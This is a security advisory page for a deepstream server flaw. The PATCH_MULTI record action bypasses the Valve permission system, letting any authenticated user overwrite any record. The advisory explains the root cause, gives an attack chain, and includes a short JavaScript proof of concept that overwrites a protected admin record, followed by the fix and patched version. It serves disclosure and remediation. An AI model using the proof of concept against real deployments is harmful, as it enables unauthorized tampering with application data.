OFFLINE
Awaiting data
Security intelligence
MajorCritical vulnerability

CVE-2026-63116: deepstream: PATCH_MULTI action bypasses Valve permission system allowing unauthorized record writes

GitHub Advisories · officialPublished Sep 22, 2026Risk 37/100

## Summary The `RECORD_ACTION.PATCH_MULTI` action is not registered in the Valve permission system's `RULES_MAP` (`src/services/permission/valve/rules-map.ts`). When `ConfigPermission.canPerformAction()` is called for a PATCH_MULTI message, `getRulesForMessage()` returns `null` because the action is missing from the map. This triggers an unconditional allow (`callback(..., null, true)`), completely bypassing all configured Valve permission rules. Any authenticated user — regardless of their configured permissions — can write arbitrary data to any record using the PATCH_MULTI action. ## Root Cause In `src/services/permission/valve/rules-map.ts` lines 38-54, the `RULES_MAP[TOPIC.RECORD].actions` dictionary maps record actions to permission rule types. The actions registered include: SUBSCRIBE, SUBSCRIBEANDHEAD, SUBSCRIBEANDREAD, READ, HEAD, LISTEN, CREATE, UPDATE, PATCH, NOTIFY, DELETE, ERASE. However, `RECORD_ACTION.PATCH_MULTI` is **absent** from this map. When `getRulesForMessage()` at line 86-99 encounters an action not in the map, it returns `null`. In `config-permission.ts` at line 88-93, when `ruleSpecification === null`, the callback is invoked with `true` (allow) unconditionally. ## Attack Chain 1. Attacker authenticates with any valid credentials (even a minimal-privilege user) 2. Attacker sends a WebSocket message: `{topic: RECORD, action: PATCH_MULTI, name: "admin/secret-record", parsedData: [{path: "role", data: "admin"}]}` 3. `message-processor.ts:68` invokes permission check 4. `config-permission.ts:89` → `getRulesForMessage()` returns `null` for PATCH_MULTI 5. `config-permission.ts:92` → unconditional ALLOW 6. Record transition applies the operations — arbitrary record is modified ## Impact - **Complete Valve permission bypass for record writes** — all configured permission rules are irrelevant - Any authenticated user can overwrite any record, including admin-only records - Mass record overwrites can destroy application state, corrupt sessions, cause service outage - Only exploitable when `permission.type` is set to `config` (Valve) — the recommended production configuration per deepstream documentation - Default permission type `none` (OpenPermission) allows everything already, so default deployments are unaffected <details><summary>Proof of Concept</summary> ```javascript // Connect as a minimal-privilege user const { DeepstreamClient } = require('@deepstream/client'); const client = new DeepstreamClient('localhost:6020'); await client.login({ username: 'restricted-user', password: 'password' }); // This should be blocked by Valve permissions but isn't: // Send raw PATCH_MULTI message to bypass all permission rules const connection = client.getConnection(); connection.sendMessage({ topic: 0x52, // TOPIC.RECORD action: 0x50, // RECORD_ACTION.PATCH_MULTI (check actual enum value) name: 'admin/protected-record', parsedData: [ { path: 'permissions', data: 'admin' }, { path: 'secret', data: 'overwritten' } ] }); ``` </details> ## Suggested Fix Add `PATCH_MULTI` to the RULES_MAP in `src/services/permission/valve/rules-map.ts`: ```typescript [RECORD_ACTION.PATCH_MULTI]: RULE_TYPES.WRITE, ``` This maps PATCH_MULTI operations to the same WRITE permission rule that governs UPDATE and PATCH. ## Affected Versions All versions that include PATCH_MULTI support with the Valve (ConfigPermission) permission system. The PATCH_MULTI action was added in commit `82ffa8119d8f4a8242ac5c3507469a22de746b65` but was never registered in RULES_MAP. ## Credit Vulnerability discovered by Zhixi "Jace" Sun of ASM/VI at TikTok.

Upgrade affected packages to a patched version: @deepstream/server 10.1.1.

Vendor
Not specified
Product
@deepstream/server
Exploitation
none known
Evidence
official
CVSS
8.8

This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.

Open primary source